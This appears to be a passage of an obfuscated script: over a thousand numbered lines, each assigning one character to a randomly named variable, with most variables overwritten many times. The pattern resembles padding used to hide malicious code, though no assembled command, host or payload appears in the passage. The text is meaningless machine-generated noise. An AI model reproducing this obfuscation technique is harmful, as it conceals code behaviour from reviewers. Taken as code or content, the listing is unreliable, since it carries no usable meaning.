135	mvenwpw = "W";
136	mvenwpw = "L";
137	mvenwpw = "n";
138	mvenwpw = "H";
139	mvenwpw = "t";
140	mvenwpw = "c";
141	mvenwpw = "g";
142	mvenwpw = "l";
143	mvenwpw = "x";
144	mvenwpw = "W";
145	mvenwpw = "x";
146	mvenwpw = "r";
147	mvenwpw = "U";
148	mvenwpw = "t";
149	mvenwpw = "L";
150	mvenwpw = "Y";
151	mvenwpw = "e";
152	mvenwpw = "C";
153	mvenwpw = "Z";
154	mvenwpw = "a";
155	izbuthbkf = "f";
156	izbuthbkf = "C";
157	izbuthbkf = "d";
158	izbuthbkf = "d";
159	izbuthbkf = "g";
160	izbuthbkf = "q";
161	izbuthbkf = "D";
162	izbuthbkf = "O";
163	abqerqigm = "F";
164	mgxifw = "E";
165	mgxifw = "c";
166	mgxifw = "w";
167	mgxifw = "T";
168	mgxifw = "b";
169	mgxifw = "G";
170	mgxifw = "J";
171	mgxifw = "c";
172	mgxifw = "Q";
173	mgxifw = "U";
174	mgxifw = "c";
175	mgxifw = "W";
176	mgxifw = "k";
177	mgxifw = "M";
178	mgxifw = "b";
179	mgxifw = "v";
180	mgxifw = "s";
181	mgxifw = "Z";
182	mgxifw = "v";
183	mgxifw = "L";
184	mgxifw = "H";
185	mgxifw = "O";
186	mgxifw = "t";
187	mgxifw = "I";
188	mgxifw = "Y";
189	mgxifw = "J";
190	mgxifw = "O";
191	mgxifw = "M";
192	mgxifw = "S";
193	mgxifw = "p";
194	mgxifw = "O";
195	mgxifw = "k";
196	mgxifw = "r";
197	mgxifw = "f";
198	mgxifw = "P";
199	mgxifw = "q";
200	nhbiwxhov = "c";
201	nhbiwxhov = "x";
202	nhbiwxhov = "E";
203	nnorjt = "q";
204	nnorjt = "s";
205	nnorjt = "L";
206	nnorjt = "D";
207	nnorjt = "s";
208	nnorjt = "b";
209	nnorjt = "N";
210	nnorjt = "x";
211	nnorjt = "l";
212	nnorjt = "t";
213	nnorjt = "D";
214	nnorjt = "I";
215	nnorjt = "X";
216	nnorjt = "n";
217	nnorjt = "u";
218	nnorjt = "z";
219	nnorjt = "z";
220	nnorjt = "E";
221	nnorjt = "I";
222	nnorjt = "J";
223	nnorjt = "r";
224	nnorjt = "r";
225	nnorjt = "X";
226	nnorjt = "H";
227	nnorjt = "R";
228	nnorjt = "Z";
229	nnorjt = "q";
230	nnorjt = "z";
231	nnorjt = "x";
232	nnorjt = "t";
233	nnorjt = "v";
234	nnorjt = "f";
235	nnorjt = "E";
236	nnorjt = "T";
237	nnorjt = "M";
238	nnorjt = "M";
239	nnorjt = "v";
240	nnorjt = "s";
241	nnorjt = "\"";
242	qcikzrx = "l";
243	qcikzrx = "d";
244	qcikzrx = "K";
245	qcikzrx = "t";
246	qcikzrx = "Y";
247	qcikzrx = "a";
248	qcikzrx = "G";
249	qcikzrx = "V";
250	qcikzrx = "Z";
251	qcikzrx = "i";
252	qcikzrx = "Y";
253	qcikzrx = "O";
254	qcikzrx = "g";
255	qcikzrx = "M";
256	qcikzrx = "w";
257	qcikzrx = "O";
258	qcikzrx = "n";
259	qcikzrx = "A";
260	qcikzrx = "d";
261	qcikzrx = "P";
262	qcikzrx = "k";
263	qcikzrx = "I";
264	qcikzrx = "D";
265	qcikzrx = "I";
266	qcikzrx = "F";
267	qcikzrx = "K";
268	qcikzrx = "c";
269	qcikzrx = "q";
270	qcikzrx = "p";
271	qcikzrx = "o";
272	qcikzrx = "R";
273	qcikzrx = "G";
274	qcikzrx = "S";
275	qcikzrx = "O";
276	qcikzrx = "P";
277	qcikzrx = "U";
278	qcikzrx = "v";
279	qcikzrx = "I";
280	qcikzrx = "E";
281	qcikzrx = "R";
282	qcikzrx = "/";
283	wkjbpqngj = "Y";
284	wkjbpqngj = "W";
285	wkjbpqngj = "R";
286	wkjbpqngj = "Z";
287	wkjbpqngj = "A";
288	wkjbpqngj = "u";
289	wkjbpqngj = "g";
290	wkjbpqngj = "o";
291	wkjbpqngj = "N";
292	wkjbpqngj = "Z";
293	wkjbpqngj = "V";
294	wkjbpqngj = "u";
295	wkjbpqngj = "W";
296	wkjbpqngj = "S";
297	wkjbpqngj = "b";
298	wkjbpqngj = "H";
299	wkjbpqngj = "w";
300	wkjbpqngj = "E";
301	wkjbpqngj = "X";
302	wkjbpqngj = "q";
303	wkjbpqngj = "a";
304	wkjbpqngj = "X";
305	wkjbpqngj = "Y";
306	wkjbpqngj = "P";
307	wkjbpqngj = "f";
308	wkjbpqngj = "f";
309	wkjbpqngj = "L";
310	wkjbpqngj = "u";
311	wkjbpqngj = "Z";
312	wkjbpqngj = "M";
313	wkjbpqngj = "a";
314	wkjbpqngj = "t";
315	wkjbpqngj = ".";
316	ngjrl = "j";
317	ngjrl = "Y";
318	ngjrl = "h";
319	ngjrl = "D";
320	ngjrl = "R";
321	ngjrl = "A";
322	ngjrl = "i";
323	ngjrl = "U";
324	ngjrl = "H";
325	lhswh = "e";
326	lhswh = "A";
327	lhswh = "K";
328	lhswh = "P";
329	lhswh = "p";
330	lhswh = "t";
331	lhswh = "q";
332	lhswh = "Q";
333	lhswh = "p";
334	lhswh = "c";
335	lhswh = "k";
336	lhswh = "t";
337	lhswh = "E";
338	lhswh = "e";
339	lhswh = "w";
340	lhswh = "M";
341	lhswh = "l";
342	lhswh = "l";
343	lhswh = "t";
344	lhswh = "s";
345	lhswh = "d";
346	lhswh = "x";
347	lhswh = "V";
348	lhswh = "Z";
349	lhswh = "c";
350	lhswh = "H";
351	lhswh = "d";
352	lhswh = "u";
353	lhswh = "B";
354	lhswh = "A";
355	lhswh = "Y";
356	lhswh = "r";
357	lhswh = "K";
358	lhswh = "u";
359	lhswh = "D";
360	lhswh = "s";
361	lhswh = "G";
362	lhswh = "o";
363	lhswh = "T";
364	lhswh = "E";
365	lhswh = "L";
366	lhswh = "X";
367	lhswh = "p";
368	lhswh = " ";
369	zkpsimcq = "A";
370	zkpsimcq = "K";
371	zkpsimcq = "m";
372	zkpsimcq = "q";
373	zkpsimcq = "a";
374	zkpsimcq = "R";
375	zkpsimcq = "M";
376	zkpsimcq = "O";
377	zkpsimcq = "p";
378	zkpsimcq = "K";
379	zkpsimcq = "I";
380	zkpsimcq = "n";
381	zkpsimcq = "w";
382	zkpsimcq = "p";
383	zdakmn = "v";
384	zdakmn = "I";
385	zdakmn = "f";
386	zdakmn = "d";
387	mbpzoi = "e";
388	mbpzoi = "K";
389	mbpzoi = "h";
390	mbpzoi = "m";
391	mbpzoi = "F";
392	mbpzoi = "p";
393	mbpzoi = "j";
394	mbpzoi = "L";
395	mbpzoi = "l";
396	mbpzoi = "t";
397	mbpzoi = "C";
398	mbpzoi = "w";
399	mbpzoi = "J";
400	mbpzoi = "B";
401	mbpzoi = "P";
402	mbpzoi = "F";
403	mbpzoi = "V";
404	mbpzoi = "F";
405	mbpzoi = "h";
406	fsfxvwb = "L";
407	fsfxvwb = "W";
408	fsfxvwb = "V";
409	fsfxvwb = "O";
410	fsfxvwb = "F";
411	fsfxvwb = "D";
412	fsfxvwb = "r";
413	fsfxvwb = "t";
414	fsfxvwb = "y";
415	fsfxvwb = "o";
416	fsfxvwb = "7";
417	lylrbnjc = "D";
418	lylrbnjc = "R";
419	lylrbnjc = "l";
420	lylrbnjc = "p";
421	lylrbnjc = "E";
422	lylrbnjc = "k";
423	lylrbnjc = "J";
424	lylrbnjc = "y";
425	lylrbnjc = "L";
426	lylrbnjc = "A";
427	lylrbnjc = "n";
428	lylrbnjc = "F";
429	lylrbnjc = "u";
430	lylrbnjc = "l";
431	lylrbnjc = "e";
432	lylrbnjc = "c";
433	lylrbnjc = "X";
434	lylrbnjc = "g";
435	lylrbnjc = "W";
436	lylrbnjc = "s";
437	lylrbnjc = "f";
438	lylrbnjc = "O";
439	lylrbnjc = "I";
440	lylrbnjc = "I";
441	lylrbnjc = "T";
442	lylrbnjc = "r";
443	lylrbnjc = "u";
444	lylrbnjc = "B";
445	lylrbnjc = "@";
446	czcwotzn = "C";
447	czcwotzn = "H";
448	czcwotzn = "s";
449	czcwotzn = "t";
450	czcwotzn = "K";
451	czcwotzn = "W";
452	czcwotzn = "i";
453	czcwotzn = "V";
454	czcwotzn = "f";
455	czcwotzn = "x";
456	czcwotzn = "w";
457	czcwotzn = "H";
458	czcwotzn = "J";
459	czcwotzn = "O";
460	czcwotzn = "v";
461	czcwotzn = "y";
462	czcwotzn = "V";
463	czcwotzn = "U";
464	czcwotzn = "H";
465	czcwotzn = "J";
466	czcwotzn = "v";
467	czcwotzn = "n";
468	czcwotzn = "L";
469	czcwotzn = "o";
470	czcwotzn = "w";
471	czcwotzn = "v";
472	czcwotzn = "t";
473	czcwotzn = "M";
474	czcwotzn = "o";
475	hhqxl = "K";
476	hhqxl = "a";
477	hhqxl = "r";
478	hhqxl = "s";
479	hhqxl = "I";
480	hhqxl = "G";
481	hhqxl = "O";
482	hhqxl = "U";
483	hhqxl = "g";
484	hhqxl = "B";
485	hhqxl = "Y";
486	hhqxl = "h";
487	hhqxl = "g";
488	hhqxl = "u";
489	hhqxl = "C";
490	hhqxl = "n";
491	hhqxl = "v";
492	mjcqztkvf = "M";
493	mjcqztkvf = "D";
494	mjcqztkvf = "a";
495	mjcqztkvf = "b";
496	mjcqztkvf = "o";
497	mjcqztkvf = "Q";
498	mjcqztkvf = "e";
499	mjcqztkvf = "a";
500	mjcqztkvf = "Q";
501	mjcqztkvf = "g";
502	mjcqztkvf = "W";
503	mjcqztkvf = "z";
504	mjcqztkvf = "I";
505	mjcqztkvf = "n";
506	mjcqztkvf = "Z";
507	mjcqztkvf = "s";
508	mjcqztkvf = "E";
509	mjcqztkvf = "Z";
510	mjcqztkvf = "g";
511	mjcqztkvf = "t";
512	mjcqztkvf = "k";
513	mjcqztkvf = "u";
514	mjcqztkvf = "p";
515	mjcqztkvf = "V";
516	mjcqztkvf = "R";
517	mjcqztkvf = "C";
518	mjcqztkvf = "x";
519	hwmre = "g";
520	hwmre = "t";
521	hwmre = "t";
522	hwmre = "d";
523	hwmre = "s";
524	hwmre = "S";
525	hwmre = "B";
526	hwmre = "w";
527	hwmre = "C";
528	hwmre = "i";
529	hwmre = "k";
530	hwmre = "W";
531	hwmre = "h";
532	hwmre = "I";
533	hwmre = "y";
534	hwmre = "b";
535	hwmre = "l";
536	hwmre = "l";
537	hwmre = "l";
538	hwmre = "m";
539	hwmre = "8";
540	iwhdvrul = "k";
541	iwhdvrul = "N";
542	iwhdvrul = "P";
543	iwhdvrul = "u";
544	iwhdvrul = "Z";
545	iwhdvrul = "B";
546	iwhdvrul = "D";
547	iwhdvrul = "f";
548	iwhdvrul = "q";
549	iwhdvrul = "_";
550	mugodrf = "S";
551	mugodrf = "R";
552	mugodrf = "W";
553	mugodrf = "e";
554	mugodrf = "a";
555	mugodrf = "f";
556	mugodrf = "H";
557	mugodrf = "p";
558	mugodrf = "z";
559	mugodrf = "y";
560	mugodrf = "t";
561	mugodrf = "G";
562	mugodrf = "h";
563	mugodrf = "P";
564	mugodrf = "H";
565	mugodrf = "V";
566	mugodrf = "D";
567	mugodrf = "W";
568	mugodrf = "d";
569	mugodrf = "E";
570	mugodrf = "b";
571	mugodrf = "F";
572	mugodrf = "s";
573	mugodrf = "G";
574	mugodrf = "U";
575	mugodrf = "L";
576	mugodrf = "e";
577	mugodrf = "O";
578	mugodrf = "j";
579	mugodrf = "P";
580	jzmrqkc = "P";
581	jzmrqkc = "d";
582	jzmrqkc = "y";
583	jzmrqkc = "H";
584	jzmrqkc = "J";
585	jzmrqkc = "x";
586	jzmrqkc = "b";
587	jzmrqkc = "E";
588	jzmrqkc = "W";
589	jzmrqkc = "u";
590	jzmrqkc = "m";
591	jzmrqkc = "E";
592	jzmrqkc = "q";
593	jzmrqkc = "q";
594	jzmrqkc = "a";
595	jzmrqkc = "j";
596	jzmrqkc = "N";
597	jzmrqkc = "Y";
598	jzmrqkc = "r";
599	jzmrqkc = "q";
600	jzmrqkc = "D";
601	jzmrqkc = "d";
602	jzmrqkc = "c";
603	jzmrqkc = "V";
604	jzmrqkc = "B";
605	jzmrqkc = "M";
606	jzmrqkc = "O";
607	jzmrqkc = "w";
608	jzmrqkc = "i";
609	jzmrqkc = "y";
610	jzmrqkc = "M";
611	jzmrqkc = "n";
612	jzmrqkc = "Z";
613	jzmrqkc = "Y";
614	jzmrqkc = "x";
615	jzmrqkc = "r";
616	jzmrqkc = "B";
617	jzmrqkc = "s";
618	jzmrqkc = "j";
619	jzmrqkc = "D";
620	jzmrqkc = "w";
621	jzmrqkc = "U";
622	jzmrqkc = "m";
623	jzmrqkc = "F";
624	jzmrqkc = "C";
625	smonremu = "I";
626	smonremu = "V";
627	smonremu = "h";
628	smonremu = "q";
629	smonremu = "e";
630	smonremu = "M";
631	smonremu = "i";
632	smonremu = "u";
633	smonremu = "b";
634	smonremu = "L";
635	smonremu = "G";
636	smonremu = "G";
637	smonremu = "d";
638	smonremu = "R";
639	smonremu = "g";
640	smonremu = "H";
641	smonremu = "w";
642	smonremu = "s";
643	jnijdik = "g";
644	jnijdik = "m";
645	jnijdik = "R";
646	jnijdik = "K";
647	jnijdik = "h";
648	jnijdik = "3";
649	iorwku = "h";
650	iorwku = "h";
651	iorwku = "W";
652	iorwku = "p";
653	iorwku = "O";
654	iorwku = "g";
655	iorwku = "a";
656	iorwku = "J";
657	iorwku = "h";
658	iorwku = "G";
659	iorwku = "b";
660	iorwku = "c";
661	iorwku = "P";
662	iorwku = "k";
663	iorwku = "U";
664	iorwku = "S";
665	dgldrwb = "w";
666	dgldrwb = "J";
667	dgldrwb = "e";
668	dgldrwb = "T";
669	dgldrwb = "e";
670	dgldrwb = "C";
671	dgldrwb = "j";
672	dgldrwb = "o";
673	dgldrwb = "f";
674	dgldrwb = "u";
675	dgldrwb = "d";
676	dgldrwb = "g";
677	dgldrwb = "5";
678	sifigkpm = "g";
679	sifigkpm = "l";
680	sifigkpm = "d";
681	sifigkpm = "c";
682	sifigkpm = "K";
683	sifigkpm = "Q";
684	sifigkpm = "t";
685	sifigkpm = "a";
686	sifigkpm = "W";
687	sifigkpm = "A";
688	sifigkpm = "o";
689	sifigkpm = "O";
690	sifigkpm = "I";
691	sifigkpm = "X";
692	sifigkpm = "U";
693	sifigkpm = "Z";
694	sifigkpm = "o";
695	sifigkpm = "e";
696	sifigkpm = "j";
697	sifigkpm = "w";
698	sifigkpm = "x";
699	sifigkpm = "s";
700	sifigkpm = "c";
701	rsqbxmgj = "O";
702	rsqbxmgj = "f";
703	rsqbxmgj = "b";
704	rsqbxmgj = "N";
705	rsqbxmgj = "v";
706	rsqbxmgj = "y";
707	rsqbxmgj = "U";
708	rsqbxmgj = "m";
709	rsqbxmgj = "q";
710	rsqbxmgj = "R";
711	rsqbxmgj = "o";
712	rsqbxmgj = "Z";
713	rsqbxmgj = "p";
714	rsqbxmgj = "j";
715	rsqbxmgj = "b";
716	rsqbxmgj = "D";
717	rsqbxmgj = "l";
718	rsqbxmgj = "R";
719	rsqbxmgj = "h";
720	rsqbxmgj = "Y";
721	rsqbxmgj = "L";
722	rsqbxmgj = "v";
723	rsqbxmgj = "t";
724	rsqbxmgj = "T";
725	rsqbxmgj = "u";
726	rsqbxmgj = "Q";
727	rsqbxmgj = "j";
728	rsqbxmgj = "v";
729	rsqbxmgj = "B";
730	rsqbxmgj = "Q";
731	rrhhecelk = "B";
732	rrhhecelk = "J";
733	rrhhecelk = "d";
734	rrhhecelk = "t";
735	rrhhecelk = "X";
736	rrhhecelk = "C";
737	rrhhecelk = "B";
738	rrhhecelk = "l";
739	rrhhecelk = "D";
740	rrhhecelk = "y";
741	rrhhecelk = "x";
742	rrhhecelk = "h";
743	rrhhecelk = "C";
744	rrhhecelk = "X";
745	rrhhecelk = "Y";
746	rrhhecelk = "q";
747	rrhhecelk = "P";
748	rrhhecelk = "M";
749	rrhhecelk = "S";
750	rrhhecelk = "C";
751	rrhhecelk = "b";
752	rrhhecelk = "V";
753	rrhhecelk = "c";
754	rrhhecelk = "X";
755	rrhhecelk = "D";
756	rrhhecelk = "P";
757	rrhhecelk = "l";
758	rrhhecelk = "Z";
759	rrhhecelk = "R";
760	rrhhecelk = "a";
761	rrhhecelk = "n";
762	rrhhecelk = "0";
763	orshgmo = "g";
764	orshgmo = "N";
765	orshgmo = "y";
766	orshgmo = "V";
767	orshgmo = "a";
768	orshgmo = "I";
769	wnqqc = "H";
770	wnqqc = "Y";
771	wnqqc = "x";
772	wnqqc = "e";
773	wnqqc = "g";
774	wnqqc = "J";
775	wnqqc = "W";
776	wnqqc = "h";
777	wnqqc = "n";
778	wnqqc = "E";
779	wnqqc = "I";
780	wnqqc = "2";
781	qqihnvhte = "K";
782	qqihnvhte = "G";
783	qqihnvhte = "q";
784	qqihnvhte = "P";
785	qqihnvhte = ":";
786	bbckh = "O";
787	bbckh = "C";
788	bbckh = "A";
789	bbckh = "Q";
790	bbckh = "b";
791	bbckh = "M";
792	bbckh = "c";
793	bbckh = "N";
794	bbckh = "R";
795	bbckh = "T";
796	bbckh = "Y";
797	bbckh = "C";
798	bbckh = "w";
799	bbckh = "R";
800	bbckh = "s";
801	bbckh = "L";
802	bbckh = "L";
803	bbckh = "M";
804	bbckh = "Y";
805	bbckh = "U";
806	bbckh = "N";
807	bbckh = "q";
808	bbckh = "s";
809	bbckh = "P";
810	bbckh = "d";
811	bbckh = "T";
812	bbckh = "g";
813	bbckh = "s";
814	bbckh = "M";
815	bbckh = "t";
816	bbckh = "G";
817	bbckh = "i";
818	bbckh = "U";
819	bbckh = "B";
820	bbckh = "S";
821	bbckh = "%";
822	vseodav = "E";
823	vseodav = "O";
824	vseodav = "A";
825	vseodav = "B";
826	vseodav = "i";
827	vseodav = "O";
828	vseodav = "u";
829	vseodav = "W";
830	vseodav = "T";
831	vseodav = "I";
832	vseodav = "c";
833	vseodav = "J";
834	vseodav = "H";
835	vseodav = "f";
836	vseodav = "U";
837	vseodav = "J";
838	vseodav = "o";
839	vseodav = "L";
840	vseodav = "V";
841	vseodav = "i";
842	vseodav = "G";
843	vseodav = "D";
844	vseodav = "c";
845	vseodav = "q";
846	vseodav = "o";
847	vseodav = "L";
848	vseodav = "f";
849	vseodav = "x";
850	vseodav = "k";
851	vseodav = "w";
852	vseodav = "c";
853	vseodav = "4";
854	mggeuvkq = "Q";
855	mggeuvkq = "b";
856	mggeuvkq = "n";
857	mggeuvkq = "g";
858	mggeuvkq = "H";
859	mggeuvkq = "S";
860	mggeuvkq = "e";
861	mggeuvkq = "b";
862	mggeuvkq = "W";
863	mggeuvkq = "Y";
864	mggeuvkq = "T";
865	mggeuvkq = "l";
866	mggeuvkq = "c";
867	mggeuvkq = "r";
868	mggeuvkq = "G";
869	mggeuvkq = "J";
870	mggeuvkq = "R";
871	mggeuvkq = "T";
872	mggeuvkq = "h";
873	mggeuvkq = "e";
874	mggeuvkq = "o";
875	mggeuvkq = "c";
876	mggeuvkq = "c";
877	mggeuvkq = "N";
878	mggeuvkq = "p";
879	mggeuvkq = "s";
880	mggeuvkq = "e";
881	mggeuvkq = "N";
882	mggeuvkq = "q";
883	mggeuvkq = "c";
884	mggeuvkq = "L";
885	mggeuvkq = "k";
886	mggeuvkq = "F";
887	mggeuvkq = "q";
888	mggeuvkq = "Q";
889	mggeuvkq = "P";
890	mggeuvkq = "f";
891	rzotrc = "I";
892	rzotrc = "K";
893	rzotrc = "N";
894	rzotrc = "M";
895	rzotrc = "j";
896	rzotrc = "J";
897	rzotrc = "e";
898	rzotrc = "h";
899	rzotrc = "Y";
900	rzotrc = "Y";
901	rzotrc = "w";
902	rzotrc = "n";
903	rzotrc = "l";
904	rzotrc = "E";
905	rzotrc = "e";
906	rzotrc = "I";
907	rzotrc = "F";
908	rzotrc = "a";
909	rzotrc = "M";
910	rzotrc = "x";
911	rzotrc = "G";
912	rzotrc = "Q";
913	rzotrc = "r";
914	rzotrc = "T";
915	rzotrc = "m";
916	rzotrc = "r";
917	rzotrc = "W";
918	rzotrc = "I";
919	rzotrc = "t";
920	rzotrc = "n";
921	fmejaw = "G";
922	fmejaw = "q";
923	fmejaw = "w";
924	fmejaw = "D";
925	fmejaw = "q";
926	fmejaw = "Q";
927	fmejaw = "l";
928	fmejaw = "m";
929	fmejaw = "s";
930	fmejaw = "B";
931	fmejaw = "U";
932	fmejaw = "Q";
933	fmejaw = "e";
934	fmejaw = "h";
935	fmejaw = "P";
936	fmejaw = "B";
937	fmejaw = "U";
938	fmejaw = "z";
939	fmejaw = "s";
940	fmejaw = "I";
941	fmejaw = "l";
942	fmejaw = "Z";
943	fmejaw = "Y";
944	fmejaw = "f";
945	fmejaw = "B";
946	fmejaw = "f";
947	fmejaw = "w";
948	fmejaw = "l";
949	fmejaw = "W";
950	fmejaw = "L";
951	fmejaw = "P";
952	fmejaw = "A";
953	fmejaw = "c";
954	fmejaw = "P";
955	fmejaw = "W";
956	fmejaw = "A";
957	fmejaw = "a";
958	fmejaw = "x";
959	fmejaw = "j";
960	fmejaw = "x";
961	fmejaw = "R";
962	fmejaw = "U";
963	fmejaw = "x";
964	fmejaw = "w";
965	fmejaw = "u";
966	lrdhvm = "i";
967	lrdhvm = "x";
968	lrdhvm = "Z";
969	lrdhvm = "m";
970	lrdhvm = "H";
971	lrdhvm = "t";
972	lrdhvm = "x";
973	lrdhvm = "r";
974	lrdhvm = "v";
975	lrdhvm = "Y";
976	lrdhvm = "Z";
977	lrdhvm = "i";
978	lrdhvm = "r";
979	lrdhvm = "g";
980	lrdhvm = "H";
981	lrdhvm = "G";
982	lrdhvm = "M";
983	lrdhvm = "Z";
984	lrdhvm = "E";
985	lrdhvm = "h";
986	lrdhvm = "g";
987	lrdhvm = "Z";
988	lrdhvm = "k";
989	lrdhvm = "Z";
990	lrdhvm = "O";
991	lrdhvm = "X";
992	lrdhvm = "a";
993	lrdhvm = "e";
994	lrdhvm = "y";
995	lrdhvm = "l";
996	lrdhvm = "G";
997	lrdhvm = "E";
998	lrdhvm = "k";
999	lrdhvm = "h";
1000	lrdhvm = "w";
1001	rgrozbjt = "N";
1002	rgrozbjt = "n";
1003	rgrozbjt = "a";
1004	rgrozbjt = "y";
1005	rgrozbjt = "i";
1006	rgrozbjt = "r";
1007	rgrozbjt = "J";
1008	rgrozbjt = "D";
1009	rgrozbjt = "E";
1010	rgrozbjt = "x";
1011	rgrozbjt = "Y";
1012	rgrozbjt = "U";
1013	rgrozbjt = "x";
1014	rgrozbjt = "F";
1015	rgrozbjt = "g";
1016	rgrozbjt = "Y";
1017	rgrozbjt = "x";
1018	rgrozbjt = "r";
1019	rgrozbjt = "Y";
1020	rgrozbjt = "c";
1021	rgrozbjt = "V";
1022	rgrozbjt = "K";
1023	rgrozbjt = "W";
1024	rgrozbjt = "D";
1025	rgrozbjt = "R";
1026	rgrozbjt = "p";
1027	rgrozbjt = "m";
1028	rgrozbjt = "s";
1029	rgrozbjt = "g";
1030	rgrozbjt = "S";
1031	rgrozbjt = "m";
1032	rgrozbjt = "G";
1033	rgrozbjt = "Z";
1034	rgrozbjt = "V";
1035	rgrozbjt = "x";
1036	rgrozbjt = "M";
1037	rgrozbjt = "D";
1038	rgrozbjt = "E";
1039	rgrozbjt = "e";
1040	rgrozbjt = "V";
1041	rgrozbjt = "R";
1042	rgrozbjt = "t";
1043	elabplrw = "Q";
1044	elabplrw = "V";
1045	elabplrw = "i";
1046	elabplrw = "v";
1047	elabplrw = "K";
1048	elabplrw = "g";
1049	elabplrw = "N";
1050	elabplrw = "M";
1051	elabplrw = "c";
1052	elabplrw = "G";
1053	elabplrw = "w";
1054	elabplrw = "F";
1055	elabplrw = "k";
1056	elabplrw = "p";
1057	elabplrw = "c";
1058	elabplrw = "z";
1059	elabplrw = "P";
1060	elabplrw = "U";
1061	elabplrw = "r";
1062	elabplrw = "j";
1063	elabplrw = "c";
1064	elabplrw = "P";
1065	elabplrw = "s";
1066	elabplrw = "z";
1067	elabplrw = "H";
1068	elabplrw = "H";
1069	elabplrw = "K";
1070	elabplrw = "f";
1071	elabplrw = "X";
1072	elabplrw = "f";
1073	elabplrw = "F";
1074	elabplrw = "l";
1075	elabplrw = "d";
1076	elabplrw = "l";
1077	elabplrw = "P";
1078	elabplrw = "W";
1079	elabplrw = "m";
1080	vamsgpce = "X";
1081	vamsgpce = "J";
1082	vamsgpce = "Y";
1083	vamsgpce = "c";
1084	vamsgpce = "r";
1085	vamsgpce = "v";
1086	vamsgpce = "G";
1087	vamsgpce = "M";
1088	vamsgpce = "l";
1089	vamsgpce = "Q";
1090	vamsgpce = "p";
1091	vamsgpce = "E";
1092	vamsgpce = "h";
1093	vamsgpce = "g";
1094	vamsgpce = "\\";
1095	moosh = "O";
1096	moosh = "D";
1097	moosh = "I";
1098	moosh = "Y";
1099	moosh = "N";
1100	moosh = "Y";
1101	moosh = "i";
1102	moosh = "c";
1103	moosh = "c";
1104	moosh = "e";
1105	moosh = "B";
1106	moosh = "s";
1107	moosh = "l";
1108	moosh = "z";
1109	moosh = "M";
1110	moosh = "D";
1111	moosh = "f";
1112	moosh = "w";
1113	moosh = "N";
1114	moosh = "q";
1115	moosh = "J";
1116	moosh = "U";
1117	pufarc = "M";
1118	pufarc = "P";
1119	pufarc = "A";
1120	pufarc = "U";
1121	pufarc = "O";
1122	pufarc = "a";
1123	pufarc = "q";
1124	pufarc = "W";
1125	pufarc = "M";
1126	pufarc = "r";
1127	pufarc = "R";
1128	yltqe = "d";
1129	yltqe = "n";
1130	yltqe = "K";
1131	yltqe = "m";
1132	yltqe = "v";
1133	yltqe = "j";
1134	yltqe = "e";
1135	yltqe = "H";
1136	yltqe = "b";
1137	yltqe = "I";
1138	yltqe = "-";
1139	mtyqgvk = "i";
1140	mtyqgvk = "k";
1141	mtyqgvk = "k";
1142	mtyqgvk = "M";
1143	mtyqgvk = "R";
1144	mtyqgvk = "I";
1145	mtyqgvk = "h";
1146	mtyqgvk = "T";
1147	mtyqgvk = "E";
1148	mtyqgvk = "R";
1149	mtyqgvk = "H";
1150	mtyqgvk = "C";
1151	mtyqgvk = "L";
1152	mtyqgvk = "V";
1153	mtyqgvk = "Y";
1154	mtyqgvk = "n";
1155	mtyqgvk = "Y";
1156	mtyqgvk = "q";
1157	mtyqgvk = "B";
1158	mtyqgvk = "L";
1159	mtyqgvk = "Q";
1160	mtyqgvk = "X";
1161	mtyqgvk = "C";
1162	mtyqgvk = "B";
1163	mtyqgvk = "V";
1164	mtyqgvk = "s";
1165	mtyqgvk = "L";
1166	mtyqgvk = "W";
1167	mtyqgvk = "S";
1168	mtyqgvk = "v";
1169	mtyqgvk = "L";
1170	mtyqgvk = "R";
1171	mtyqgvk = "k";
1172	mtyqgvk = "F";
1173	mtyqgvk = "z";
1174	mtyqgvk = "S";
1175	mtyqgvk = "D";
1176	mtyqgvk = "d";
1177	mtyqgvk = "H";
1178	mtyqgvk = "z";
1179	mtyqgvk = "A";
1180	mtyqgvk = "Q";
1181	mtyqgvk = "X";
1182	mtyqgvk = "i";
1183	btlrg = "m";
1184	btlrg = "Q";
1185	btlrg = "L";
1186	btlrg = "Q";
1187	btlrg = "a";
1188	btlrg = "N";
1189	btlrg = "j";
1190	btlrg = "W";
1191	btlrg = "T";
1192	btlrg = "J";
1193	btlrg = "k";
1194	btlrg = "S";
1195	btlrg = "l";
1196	btlrg = "Z";
1197	btlrg = "x";
1198	btlrg = "P";
1199	btlrg = "Q";
1200	btlrg = "B";
1201	btlrg = "C";
1202	btlrg = "d";
1203	btlrg = "f";
1204	btlrg = "M";
1205	btlrg = "n";
1206	btlrg = "s";
1207	btlrg = "A";
1208	btlrg = "D";
1209	btlrg = "D";
1210	btlrg = "P";
1211	btlrg = "M";
1212	btlrg = "A";
1213	btlrg = "9";
1214	svqsdcew = "g";
1215	svqsdcew = "h";
1216	svqsdcew = "r";
1217	svqsdcew = "W";
1218	svqsdcew = "k";
1219	svqsdcew = "V";
1220	svqsdcew = "X";
1221	svqsdcew = "s";
1222	svqsdcew = "k";
1223	svqsdcew = "b";
1224	svqsdcew = "R";
1225	svqsdcew = "D";
1226	svqsdcew = "a";
1227	svqsdcew = "z";
1228	svqsdcew = "Z";
1229	svqsdcew = "W";
1230	svqsdcew = "b";
1231	svqsdcew = "Z";
1232	svqsdcew = "H";
1233	svqsdcew = "r";
1234	svqsdcew = "x";
1235	svqsdcew = "q";
1236	svqsdcew = "v";
1237	svqsdcew = "b";
1238	svqsdcew = "H";
1239	svqsdcew = "l";
1240	svqsdcew = "Z";
1241	svqsdcew = "F";
1242	svqsdcew = "R";
1243	svqsdcew = "O";
1244	svqsdcew = "C";
1245	svqsdcew = "p";
1246	svqsdcew = "u";
1247	svqsdcew = "c";
1248	svqsdcew = "k";
1249	svqsdcew = "E";
1250	svqsdcew = "n";
1251	svqsdcew = "P";
1252	svqsdcew = "k";
1253	eurgu = "o";
1254	eurgu = "T";
1255	eurgu = "S";
1256	eurgu = "m";
1257	eurgu = "v";
1258	eurgu = "W";
1259	eurgu = "J";
1260	eurgu = "p";
1261	eurgu = "T";
1262	eurgu = "B";
1263	eurgu = "q";
1264	eurgu = "W";
1265	eurgu = "B";
1266	eurgu = "w";
1267	eurgu = "N";
1268	eurgu = "T";
1269	eurgu = "T";
1270	eurgu = "W";
1271	eurgu = "e";
1272	eurgu = "W";
1273	eurgu = "W";
1274	eurgu = "r";
1275	eurgu = "v";
1276	eurgu = "M";
1277	eurgu = "j";
1278	eurgu = "v";
1279	eurgu = "Y";
1280	eurgu = "O";
1281	eurgu = "Y";
1282	eurgu = "e";
1283	eurgu = "Y";
1284	eurgu = "R";
1285	eurgu = "o";
1286	eurgu = "N";
1287	ljoemgwl = "G";
1288	ljoemgwl = "L";
